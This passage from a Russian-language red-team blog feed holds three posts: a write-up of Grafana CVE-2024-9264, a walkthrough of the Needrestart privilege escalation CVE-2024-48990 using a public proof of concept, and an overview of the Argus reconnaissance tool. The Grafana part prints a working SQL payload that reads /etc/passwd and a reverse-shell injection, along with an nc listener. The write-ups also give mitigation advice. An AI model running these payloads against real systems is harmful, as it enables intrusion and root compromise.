      &lt;li id=&quot;yJRg&quot;&gt;&lt;strong&gt;expression&lt;/strong&gt;: Само &lt;code&gt;SQL&lt;/code&gt;-выражение, которое должно быть выполнено. В данном случае это &lt;code&gt;&amp;quot;SELECT content FROM read_blob(\&amp;quot;/etc/passwd\&amp;quot;)&amp;quot;&lt;/code&gt;, что пытается прочитать содержимое файла &lt;code&gt;/etc/passwd&lt;/code&gt; .&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;FgST&quot;&gt;{
   &amp;quot;queries&amp;quot;: [
      {
        &amp;quot;refId&amp;quot;: &amp;quot;GIS&amp;quot;,
        &amp;quot;datasource&amp;quot;: {
        &amp;quot;type&amp;quot;: &amp;quot;GIS&amp;quot;,
        &amp;quot;uid&amp;quot;: &amp;quot;__expr__&amp;quot;,
        &amp;quot;name&amp;quot;: &amp;quot;GIS&amp;quot;
      },
      &amp;quot;type&amp;quot;: &amp;quot;sql&amp;quot;,
      &amp;quot;hide&amp;quot;: false,
      &amp;quot;expression&amp;quot;: &amp;quot;SELECT content FROM read_blob(\&amp;quot;/etc/passwd\&amp;quot;)&amp;quot;, &amp;quot;window&amp;quot;: &amp;quot;&amp;quot;
   }
   ],
   &amp;quot;from&amp;quot;: &amp;quot;1729313027261&amp;quot;,
   &amp;quot;to&amp;quot;: &amp;quot;1729334627261&amp;quot;
}&lt;/pre&gt;
  &lt;figure id=&quot;yenN&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c5/e8/c5e89e8f-72ee-48b1-8893-eb4daf2aa2ae.png&quot; width=&quot;1869&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;GGjs&quot;&gt;Также, уязвимость &lt;code&gt;CVE-2024-9264&lt;/code&gt; позволяет получить обратную оболочку.&lt;/p&gt;
  &lt;p id=&quot;zxp2&quot;&gt;PoC:&lt;/p&gt;
  &lt;pre id=&quot;7Yei&quot;&gt;&amp;quot;SELECT 1;COPY (SELECT &amp;#x27;sh -i &amp;gt;&amp;amp; /dev/tcp/192.168.0.111/4444 0&amp;gt;&amp;amp;1&amp;#x27;) TO &amp;#x27;/tmp/rev&amp;#x27;; SELECT 1;install shellfs from community; LOAD shellfs;SELECT * FROM read_csv(&amp;#x27;bash /tmp/rev |&amp;#x27;);&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;sd0l&quot;&gt;У себя в терминале подняли слушатель на &lt;code&gt;4444&lt;/code&gt; порту.&lt;/p&gt;
  &lt;pre id=&quot;csR5&quot;&gt;rlwrap nc -lvnp 4444&lt;/pre&gt;
  &lt;p id=&quot;ln63&quot;&gt;Отправили запрос к &lt;code&gt;api&lt;/code&gt; и получили обратное соединение.&lt;/p&gt;
  &lt;figure id=&quot;0Lpj&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2d/e0/2de0e02b-8dc7-4c18-b6cb-8a8606a68329.png&quot; width=&quot;1539&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;mx4F&quot;&gt;Этот &lt;code&gt;SQL&lt;/code&gt;-запрос представляет собой получение обратной оболочки через базу данных:&lt;/p&gt;
  &lt;ul id=&quot;IFmS&quot;&gt;
    &lt;li id=&quot;nJvd&quot;&gt;&lt;code&gt;SELECT 1;&lt;/code&gt; – просто возвращает значение &lt;code&gt;1&lt;/code&gt; , чтобы начать выполнение.&lt;/li&gt;
    &lt;li id=&quot;ryDP&quot;&gt;&lt;code&gt;COPY (SELECT &amp;#x27;sh -i &amp;gt;&amp;amp; /dev/tcp/192.168.0.111/4444 0&amp;gt;&amp;amp;1&amp;#x27;) TO &amp;#x27;/tmp/rev&amp;#x27;;&lt;/code&gt;&lt;/li&gt;
    &lt;ul id=&quot;YJAc&quot;&gt;
      &lt;li id=&quot;rZEu&quot;&gt;Создает файл &lt;code&gt;/tmp/rev&lt;/code&gt; с содержимым команды для обратного шелла, которая будет пытаться установить соединение с &lt;code&gt;IP&lt;/code&gt;-адресом &lt;code&gt;192.168.0.111&lt;/code&gt; на порту &lt;code&gt;4444&lt;/code&gt;.&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;DrTK&quot;&gt;&lt;code&gt;SELECT 1;&lt;/code&gt; – снова возвращает &lt;code&gt;1&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;WwO2&quot;&gt;&lt;code&gt;install shellfs from community; LOAD shellfs;&lt;/code&gt;&lt;/li&gt;
    &lt;ul id=&quot;rUBP&quot;&gt;
      &lt;li id=&quot;SdvM&quot;&gt;Устанавливает и загружает расширение базы данных под названием &lt;code&gt;shellfs&lt;/code&gt; . Это расширение позволяет выполнять системные команды непосредственно из &lt;code&gt;SQL&lt;/code&gt;-запросов.&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;AKvP&quot;&gt;&lt;code&gt;SELECT * FROM read_csv(&amp;#x27;bash /tmp/rev |&amp;#x27;);&lt;/code&gt;&lt;/li&gt;
    &lt;ul id=&quot;qGM4&quot;&gt;
      &lt;li id=&quot;0d9n&quot;&gt;Выполняет команду &lt;code&gt;bash /tmp/rev&lt;/code&gt; , которая запускает созданный ранее скрипт для установления обратного соединения с удаленным сервером.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ul&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;mFXz&quot;&gt;Заключение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;ZtpI&quot;&gt;Уязвимость &lt;code&gt;CVE-2024-9264&lt;/code&gt; возникает из-за недостаточного контроля над тем, какие &lt;code&gt;SQL&lt;/code&gt;-запросы могут быть выполнены через экспериментальную функцию &lt;code&gt;SQL&lt;/code&gt;-выражений в &lt;code&gt;Grafana&lt;/code&gt;. &lt;/p&gt;
  &lt;p id=&quot;DwVP&quot;&gt;Экспериментальная функция позволяет пользователям вводить произвольные &lt;code&gt;SQL&lt;/code&gt;-запросы, которые затем выполняются базой данных &lt;code&gt;DuckDB&lt;/code&gt;. &lt;/p&gt;
  &lt;p id=&quot;6RoU&quot;&gt;При отсутствии должной фильтрации и экранирования вводимых данных злоумышленник может внедрить вредоносные &lt;code&gt;SQL&lt;/code&gt;-команды, что приведет к выполнению недопустимых действий на сервере.&lt;/p&gt;

</content></entry><entry><id>giscyberteam:Needrestart_CVE_2024_48990</id><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam/Needrestart_CVE_2024_48990?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><title>Linux LPE через Needrestart (CVE-2024-48990)</title><published>2024-12-02T12:29:50.499Z</published><updated>2024-12-02T12:29:50.499Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/32/09/3209d503-76ba-4d0b-8079-e802927899d5.png"></media:thumbnail><category term="vulnerability" label="Vulnerability"></category><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/3b/df/3bdf0db8-0fa9-4c1f-a167-9536eee7ab6a.png&quot;&gt;19 ноября 2024 года компания Qualys публично раскрыла информацию о пяти уязвимостях в утилите Needrestart. Эти уязвимости касаются локальной эскалации привилегий(LPE) и были найдены в бинарном файле. CVE-2024-48990 затрагивает версии Needrestart до 3.8. В Ubuntu она применяется по умолчанию с версии 21.04. Также проблема актуальна для Debian, Fedora и других дистрибутивов Linux.</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;W7yv&quot;&gt;Введение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;gNxP&quot;&gt;19 ноября 2024 года компания &lt;code&gt;Qualys&lt;/code&gt; публично раскрыла информацию о пяти уязвимостях в утилите &lt;code&gt;Needrestart&lt;/code&gt;. Эти уязвимости касаются локальной эскалации привилегий(&lt;code&gt;LPE&lt;/code&gt;) и были найдены в бинарном файле. &lt;code&gt;CVE-2024-48990&lt;/code&gt; затрагивает версии &lt;code&gt;Needrestart&lt;/code&gt; до &lt;code&gt;3.8&lt;/code&gt;. В &lt;code&gt;Ubuntu&lt;/code&gt; она применяется по умолчанию с версии &lt;code&gt;21.04&lt;/code&gt;. Также проблема актуальна для &lt;code&gt;Debian&lt;/code&gt;, &lt;code&gt;Fedora&lt;/code&gt; и других дистрибутивов &lt;code&gt;Linux&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;c0hJ&quot;&gt;&lt;code&gt;LPE&lt;/code&gt; (&lt;code&gt;Local Privilege Escalation&lt;/code&gt;) позволяет злоумышленнику повысить свои привилегии в системе, получив доступ к действиям, доступным только администраторам (например, &lt;code&gt;root&lt;/code&gt;-доступ). Это может использоваться для установки вредоносного ПО, управления системой, обхода ограничений безопасности и доступа к конфиденциальным данным. Основная цель — получить полный контроль над системой.&lt;/p&gt;
  &lt;p id=&quot;FrJR&quot;&gt;Уязвимость имеет оценку в &lt;code&gt;7.8&lt;/code&gt; баллов по &lt;code&gt;CVSS&lt;/code&gt;.&lt;/p&gt;
  &lt;blockquote id=&quot;SN7O&quot;&gt;Данная статья представлена исключительно в образовательных целях. Red Team сообщество &amp;quot;GISCYBERTEAM&amp;quot; не несёт ответственности за любые последствия ее использования третьими лицами.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;f8vB&quot;&gt;Что такое Needrestart&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;gfuj&quot;&gt;&lt;strong&gt;Needrestart&lt;/strong&gt; — это утилита для &lt;code&gt;Linux&lt;/code&gt;, которая проверяет, какие службы или процессы нужно перезапустить после обновления системных библиотек. Она помогает гарантировать, что обновления безопасности применяются ко всем запущенным процессам, минимизируя риски использования устаревших библиотек. Утилита особенно полезна для серверов, где важно поддерживать актуальное состояние сервисов без полного перезагрузки системы.&lt;/p&gt;
  &lt;figure id=&quot;NH27&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3b/df/3bdf0db8-0fa9-4c1f-a167-9536eee7ab6a.png&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h1 id=&quot;IHKk&quot;&gt;Разбор уязвимости&lt;/h1&gt;
  &lt;/section&gt;
  &lt;p id=&quot;dC3o&quot;&gt;&lt;strong&gt;LPE (Local Privilege Escalation)&lt;/strong&gt; — это тип атаки, при котором злоумышленник использует уязвимость или неправильную конфигурацию системы, чтобы повысить свои права с обычного пользователя до администратора (например, root-доступ в &lt;code&gt;Linux&lt;/code&gt;). Это дает возможность выполнять критически важные команды, изменять системные настройки, получать доступ к защищенным данным и устанавливать вредоносное ПО. &lt;code&gt;LPE&lt;/code&gt; часто используется в связке с другими методами атак для усиления их эффективности или распространения угрозы на другие устройства.&lt;/p&gt;
  &lt;p id=&quot;JnUY&quot;&gt;&lt;code&gt;CVE-2024-48990&lt;/code&gt; возникает из-за уязвимости в обработке переменных окружения утилитой &lt;code&gt;Needrestart&lt;/code&gt;, используемой в &lt;code&gt;Linux&lt;/code&gt; для проверки и перезапуска сервисов после обновления библиотек. Проблема связана с тем, что утилита до версии &lt;code&gt;3.8&lt;/code&gt; некорректно обрабатывает переменную &lt;code&gt;PYTHONPATH&lt;/code&gt;. Это позволяет локальному атакующему указать поддельный путь для &lt;code&gt;Python&lt;/code&gt;-интерпретатора, что может привести к выполнению произвольного кода с привилегиями &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;17Bo&quot;&gt;Ошибка стала возможной из-за недостаточного контроля содержимого переменных окружения, используемых для настройки путей загрузки модулей интерпретаторов (&lt;code&gt;Python&lt;/code&gt;, &lt;code&gt;Perl&lt;/code&gt;, &lt;code&gt;Ruby&lt;/code&gt;). Это делает утилиту уязвимой к манипуляциям со стороны локальных пользователей, которые могут подменить пути на вредоносные библиотеки или скрипты.&lt;/p&gt;
  &lt;p id=&quot;u1kD&quot;&gt;Чтобы проверить уязвима ли ваша система можно выполнить команду:&lt;/p&gt;
  &lt;pre id=&quot;82zc&quot;&gt;needrestart --version | grep -q &amp;quot;3.7&amp;quot; &amp;amp;&amp;amp; echo &amp;quot;Definitely vulnerable&amp;quot; || echo &amp;quot;Version is potentially not vulnerable, this simply checks for 3.7&amp;quot;&lt;/pre&gt;
  &lt;figure id=&quot;LrZ2&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bd/9a/bd9ae8ad-0efb-480d-823d-0edfe6348a9d.png&quot; width=&quot;1203&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;UgOs&quot;&gt;Для демонстрации эксплуатации воспользуемся публичным эксплойтом:&lt;/p&gt;
  &lt;pre id=&quot;q0jb&quot;&gt;git clone https://github.com/pentestfunctions/CVE-2024-48990-PoC-Testing.git&lt;/pre&gt;
  &lt;p id=&quot;F1F6&quot;&gt;Получив первоначальный доступ к системе от обычного пользователя запустим скрипт для прослушивания:&lt;/p&gt;
  &lt;pre id=&quot;Q5ry&quot;&gt;cd CVE-2024-48990-PoC-Testing
./runner.sh&lt;/pre&gt;
  &lt;figure id=&quot;Y2y2&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ea/a4/eaa4890c-aca1-4877-90d7-431ab8a21c90.png&quot; width=&quot;576&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Gset&quot;&gt;Чтобы уязвимость отработала необходимо подождать, пока другой пользователь в системе выполнит обновление или что-то, что вызовет необходимость использования утилиты &lt;code&gt;Needrestart&lt;/code&gt;, в нашем случае мы устанавливаем пакет &lt;code&gt;ntp&lt;/code&gt;, что автоматически ее запускает:&lt;/p&gt;
  &lt;pre id=&quot;7RCl&quot;&gt;sudo apt remove ntp; sudo apt install ntp&lt;/pre&gt;
  &lt;figure id=&quot;sRBd&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ae/dd/aedd4336-0adc-48c3-ad2a-1a5c7d625677.png&quot; width=&quot;1521&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;0tX1&quot;&gt;Получаем доступ к &lt;code&gt;root&lt;/code&gt;-пользователю:&lt;/p&gt;
  &lt;figure id=&quot;fTv0&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/6c/14/6c1434f9-fe60-4d14-8103-72cb058c9f99.png&quot; width=&quot;581&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;9z9H&quot;&gt;Получаем &lt;code&gt;root&lt;/code&gt;-флаг:&lt;/p&gt;
  &lt;figure id=&quot;sUmj&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/84/22/8422d187-43bd-4716-a934-30e37b64179d.png&quot; width=&quot;556&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;tnwM&quot;&gt;Рекомендации по устранению&lt;/h2&gt;
  &lt;/section&gt;
  &lt;ul id=&quot;32K0&quot;&gt;
    &lt;li id=&quot;CZ5U&quot;&gt;Установите версию &lt;code&gt;Needrestart 3.8&lt;/code&gt; или выше, где уязвимость устранена.&lt;/li&gt;
    &lt;li id=&quot;0SNa&quot;&gt;Отключите сканирование интерпретаторов в файле &lt;code&gt;/etc/needrestart/needrestart.conf&lt;/code&gt;, добавив строку: &lt;code&gt;$nrconf{interpscan} = 0;&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;c0br&quot;&gt;Регулярно проверяйте переменные окружения и активность системы, чтобы выявлять подозрительные действия.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h1 id=&quot;R7L3&quot;&gt;Заключение&lt;/h1&gt;
  &lt;/section&gt;
  &lt;p id=&quot;wIKu&quot;&gt;В заключение, &lt;code&gt;CVE-2024-48990&lt;/code&gt; демонстрирует, как эксплуатация уязвимости в системной утилите может привести к серьезным последствиям, таким как получение прав root и доступ к конфиденциальным данным.&lt;/p&gt;
  &lt;p id=&quot;7bL6&quot;&gt;Инцидент служит напоминанием о необходимости регулярного обновления ПО, тщательной настройки переменных окружения и использования дополнительных защитных механизмов.&lt;/p&gt;

</content></entry><entry><id>giscyberteam:argus_osint</id><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam/argus_osint?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><title>Argus - мощный инструмент для разведки</title><published>2024-11-12T08:30:02.759Z</published><updated>2024-11-12T10:15:49.918Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/96/a2/96a245fa-5f72-4fee-8306-e6f77c8c8065.png"></media:thumbnail><category term="tools" label="Tools"></category><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/b2/ca/b2caf6d3-1872-4373-9f2f-da5ee295b38b.jpeg&quot;&gt;Argus — это универсальный инструмент на Python, созданный для упрощения процесса сбора информации и проведения разведки. Он предоставляет вам широкий спектр данных — всё в одном месте.</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;BTOy&quot;&gt;Введение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;rJUP&quot;&gt;&lt;strong&gt;Argus&lt;/strong&gt; — это универсальный инструмент на &lt;code&gt;Python&lt;/code&gt;, созданный для упрощения процесса сбора информации и проведения разведки. Благодаря удобному интерфейсу и набору мощных модулей, &lt;code&gt;Argus&lt;/code&gt; позволяет эффективно и результативно исследовать сети, веб-приложения и настройки безопасности. Независимо от того, проводите ли вы исследование, выполняете оценку безопасности с надлежащим разрешением или просто интересуетесь сетевыми инфраструктурами, Argus предоставляет вам широкий спектр данных — всё в одном месте.&lt;/p&gt;
  &lt;blockquote id=&quot;qOyM&quot;&gt;Данная статья представлена исключительно в образовательных целях. Red Team сообщество &amp;quot;GISCYBERTEAM&amp;quot; не несёт ответственности за любые последствия ее использования третьими лицами.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;zDgc&quot;&gt;Установка&lt;/h2&gt;
  &lt;/section&gt;
  &lt;pre id=&quot;zEGB&quot;&gt;git clone https://github.com/jasonxtn/argus.git
cd argus
pip install -r requirements.txt&lt;/pre&gt;
  &lt;p id=&quot;Ny9v&quot;&gt;После установки &lt;code&gt;Argus&lt;/code&gt; можно запустить с помощью:&lt;/p&gt;
  &lt;pre id=&quot;HaoM&quot;&gt;python argus.py&lt;/pre&gt;
  &lt;figure id=&quot;LgEk&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c0/7a/c07a969d-9bc3-411e-b5ec-c70e68f5ef55.png&quot; width=&quot;1354&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;ptB6&quot;&gt;Как и для чего можно использовать&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;eVF4&quot;&gt;Argus предлагает широкий набор инструментов, разделённых на три основные категории:&lt;/p&gt;
  &lt;h3 id=&quot;TiZG&quot;&gt;Инструменты для работы с сетью и инфраструктурой&lt;/h3&gt;
  &lt;p id=&quot;CyKZ&quot;&gt;Эти инструменты помогают собирать данные о сети, раскрывая важные детали о серверах, &lt;code&gt;IP&lt;/code&gt;-адресах, &lt;code&gt;DNS&lt;/code&gt;-записях и многом другом:&lt;/p&gt;
  &lt;ol id=&quot;fGf7&quot;&gt;
    &lt;li id=&quot;3nLr&quot;&gt;Связанные хосты: Найдите домены, связанные с целью.&lt;/li&gt;
    &lt;li id=&quot;63lS&quot;&gt;&lt;code&gt;DNS&lt;/code&gt; через &lt;code&gt;HTTPS&lt;/code&gt;: Безопасное разрешение &lt;code&gt;DNS&lt;/code&gt; через зашифрованные каналы.&lt;/li&gt;
    &lt;li id=&quot;YFmq&quot;&gt;&lt;code&gt;DNS&lt;/code&gt;-записи: Сбор записей &lt;code&gt;DNS&lt;/code&gt;, включая &lt;code&gt;A&lt;/code&gt;, &lt;code&gt;AAAA&lt;/code&gt;, &lt;code&gt;MX&lt;/code&gt; и другие.&lt;/li&gt;
    &lt;li id=&quot;EKNP&quot;&gt;Проверка &lt;code&gt;DNSSEC&lt;/code&gt;: Проверка правильности настройки &lt;code&gt;DNSSEC&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;W55s&quot;&gt;Информация о домене: Сбор данных, таких как регистрационные детали и даты истечения домена.&lt;/li&gt;
    &lt;li id=&quot;e0Oy&quot;&gt;Проверка репутации домена: Оценка надежности домена по различным источникам репутации.&lt;/li&gt;
    &lt;li id=&quot;IluR&quot;&gt;Информация об &lt;code&gt;IP&lt;/code&gt;: Получение географических данных и информации о владельце &lt;code&gt;IP&lt;/code&gt;-адреса.&lt;/li&gt;
    &lt;li id=&quot;a5gR&quot;&gt;Сканирование открытых портов: Проверка целевого ресурса на открытые порты и сервисы.&lt;/li&gt;
    &lt;li id=&quot;N3F9&quot;&gt;Информация о сервере: Извлечение ключевых данных о сервере с использованием различных методов.&lt;/li&gt;
    &lt;li id=&quot;P7y8&quot;&gt;Расположение сервера: Определение физического местоположения сервера.&lt;/li&gt;
    &lt;li id=&quot;veIi&quot;&gt;Анализ цепочки &lt;code&gt;SSL&lt;/code&gt;: Проверка цепочки сертификатов &lt;code&gt;SSL&lt;/code&gt; на надежность.&lt;/li&gt;
    &lt;li id=&quot;EnpC&quot;&gt;Уведомление об истечении &lt;code&gt;SSL&lt;/code&gt;: Проверка сертификатов &lt;code&gt;SSL&lt;/code&gt; на приближающееся истечение.&lt;/li&gt;
    &lt;li id=&quot;Mtlo&quot;&gt;Поддерживаемые шифры &lt;code&gt;TLS&lt;/code&gt;: Список поддерживаемых сервером шифров &lt;code&gt;TLS&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;hrG9&quot;&gt;Симуляция &lt;code&gt;TLS&lt;/code&gt;-хэндшейка: Имитация хэндшейка &lt;code&gt;TLS&lt;/code&gt; для выявления уязвимостей.&lt;/li&gt;
    &lt;li id=&quot;qbJx&quot;&gt;Трассировка маршрута (&lt;code&gt;Traceroute&lt;/code&gt;): Трассировка пути передачи пакетов до цели.&lt;/li&gt;
    &lt;li id=&quot;nNBq&quot;&gt;&lt;code&gt;TXT&lt;/code&gt;-записи: Получение &lt;code&gt;TXT&lt;/code&gt;-записей, часто используемых для проверки.&lt;/li&gt;
    &lt;li id=&quot;ooQT&quot;&gt;&lt;code&gt;WHOIS&lt;/code&gt;-запрос: Выполнение &lt;code&gt;WHOIS&lt;/code&gt;-запросов для сбора данных о владельце домена.&lt;/li&gt;
    &lt;li id=&quot;IeEt&quot;&gt;Перенос зоны (&lt;code&gt;Zone Transfer&lt;/code&gt;): Попытка переноса &lt;code&gt;DNS&lt;/code&gt;-зоны.&lt;/li&gt;
    &lt;li id=&quot;S52h&quot;&gt;Поддержка &lt;code&gt;HTTP/2&lt;/code&gt; и &lt;code&gt;HTTP/3&lt;/code&gt;: Проверка поддержки сервером &lt;code&gt;HTTP/2&lt;/code&gt; и &lt;code&gt;HTTP/3&lt;/code&gt;.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;h3 id=&quot;5iki&quot;&gt;Инструменты анализа веб-приложений&lt;/h3&gt;
  &lt;p id=&quot;nwHR&quot;&gt;Эти модули направлены на изучение структуры и безопасности веб-приложений:&lt;/p&gt;
  &lt;ol id=&quot;A2AU&quot;&gt;
    &lt;li id=&quot;mFK3&quot;&gt;История архива: Просмотр истории цели с использованием интернет-архивов.&lt;/li&gt;
    &lt;li id=&quot;ixbT&quot;&gt;Обнаружение неработающих ссылок: Поиск неработающих ссылок, которые могут вызывать неудобства или уязвимости.&lt;/li&gt;
    &lt;li id=&quot;vQ8X&quot;&gt;Углеродный след: Оценка экологического воздействия сайта.&lt;/li&gt;
    &lt;li id=&quot;NHx1&quot;&gt;Обнаружение &lt;code&gt;CMS&lt;/code&gt;: Определение типа &lt;code&gt;CMS&lt;/code&gt;, например &lt;code&gt;WordPress&lt;/code&gt;, &lt;code&gt;Joomla&lt;/code&gt; и т.д.&lt;/li&gt;
    &lt;li id=&quot;MGW9&quot;&gt;Анализ &lt;code&gt;cookies&lt;/code&gt;: Анализ &lt;code&gt;cookies&lt;/code&gt; на предмет безопасности и конфиденциальности.&lt;/li&gt;
    &lt;li id=&quot;v2YO&quot;&gt;Обнаружение контента: Поиск скрытых директорий, файлов и конечных точек.&lt;/li&gt;
    &lt;li id=&quot;5Kap&quot;&gt;Сканер сайта: Сканирование сайта для выявления данных и построения его структуры.&lt;/li&gt;
    &lt;li id=&quot;61D9&quot;&gt;Анализ &lt;code&gt;robots.txt&lt;/code&gt;: Проверка файла &lt;code&gt;robots.txt&lt;/code&gt; на скрытые ресурсы.&lt;/li&gt;
    &lt;li id=&quot;LF0e&quot;&gt;Поиск директорий: Поиск директорий, которые могут не индексироваться публично.&lt;/li&gt;
    &lt;li id=&quot;CEyX&quot;&gt;Сбор &lt;code&gt;email&lt;/code&gt;-адресов: Извлечение адресов электронной почты с домена цели.&lt;/li&gt;
    &lt;li id=&quot;5slE&quot;&gt;Мониторинг производительности: Оценка времени отклика и производительности сайта.&lt;/li&gt;
    &lt;li id=&quot;agbC&quot;&gt;Метрики качества: Оценка качества контента и пользовательского опыта.&lt;/li&gt;
    &lt;li id=&quot;37uO&quot;&gt;Анализ цепочки редиректов: Проверка перенаправлений на предмет безопасности или вредоносности.&lt;/li&gt;
    &lt;li id=&quot;47y2&quot;&gt;Парсинг карты сайта: Извлечение &lt;code&gt;URL&lt;/code&gt;-адресов из карты сайта.&lt;/li&gt;
    &lt;li id=&quot;Cux4&quot;&gt;Анализ соцсетей: Сканирование присутствия цели в социальных сетях.&lt;/li&gt;
    &lt;li id=&quot;w9nJ&quot;&gt;Обнаружение технологического стека: Определение технологий и фреймворков, используемых на сайте.&lt;/li&gt;
    &lt;li id=&quot;CTkQ&quot;&gt;Интеграции с третьими сторонами: Обнаружение подключённых сторонних сервисов.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;h3 id=&quot;yGjh&quot;&gt;Инструменты безопасности и разведки угроз&lt;/h3&gt;
  &lt;p id=&quot;S2ML&quot;&gt;Эти модули в &lt;code&gt;Argus&lt;/code&gt; направлены на оценку защитных мер цели и сбор разведданных о потенциальных угрозах:&lt;/p&gt;
  &lt;ol id=&quot;w05s&quot;&gt;
    &lt;li id=&quot;w8Ni&quot;&gt;Разведка с помощью &lt;code&gt;Censys&lt;/code&gt;: Использование &lt;code&gt;Censys&lt;/code&gt; для получения подробных данных об активах цели.&lt;/li&gt;
    &lt;li id=&quot;MUhP&quot;&gt;Информация о центре сертификации: Проверка данных о центре сертификации.&lt;/li&gt;
    &lt;li id=&quot;I598&quot;&gt;Обнаружение утечек данных: Проверка на возможные утечки и утечку конфиденциальных данных.&lt;/li&gt;
    &lt;li id=&quot;LMrU&quot;&gt;Проверка файлов окружения: Обнаружение публично доступных файлов &lt;code&gt;.env&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;coBN&quot;&gt;Обнаружение фаервола: Определение наличия фаервола или &lt;code&gt;WAF&lt;/code&gt; на цели.&lt;/li&gt;
    &lt;li id=&quot;GSDZ&quot;&gt;Мировой рейтинг: Проверка мирового рейтинга сайта для оценки его популярности.&lt;/li&gt;
    &lt;li id=&quot;Nvog&quot;&gt;&lt;code&gt;HTTP&lt;/code&gt;-заголовки: Извлечение и анализ &lt;code&gt;HTTP&lt;/code&gt;-заголовков ответа.&lt;/li&gt;
    &lt;li id=&quot;9Pll&quot;&gt;Функции безопасности &lt;code&gt;HTTP&lt;/code&gt;: Проверка заголовков безопасности, таких как &lt;code&gt;HSTS&lt;/code&gt;, &lt;code&gt;CSP&lt;/code&gt; и др.&lt;/li&gt;
    &lt;li id=&quot;6YE8&quot;&gt;Проверка на вредоносное &lt;code&gt;ПО&lt;/code&gt; и фишинг: Сканирование сайта на предмет вредоносного &lt;code&gt;ПО&lt;/code&gt; и фишинговых рисков.&lt;/li&gt;
    &lt;li id=&quot;0u4N&quot;&gt;Мониторинг &lt;code&gt;Pastebin&lt;/code&gt;: Поиск на сайтах с утечками, связанными с целью.&lt;/li&gt;
    &lt;li id=&quot;osJ8&quot;&gt;Проверка на соответствие &lt;code&gt;GDPR&lt;/code&gt;: Проверка соответствия &lt;code&gt;GDPR&lt;/code&gt; и другим нормативам конфиденциальности.&lt;/li&gt;
    &lt;li id=&quot;Lqm8&quot;&gt;Проверка &lt;code&gt;security.txt&lt;/code&gt;: Анализ файла &lt;code&gt;security.txt&lt;/code&gt; для получения политики раскрытия уязвимостей.&lt;/li&gt;
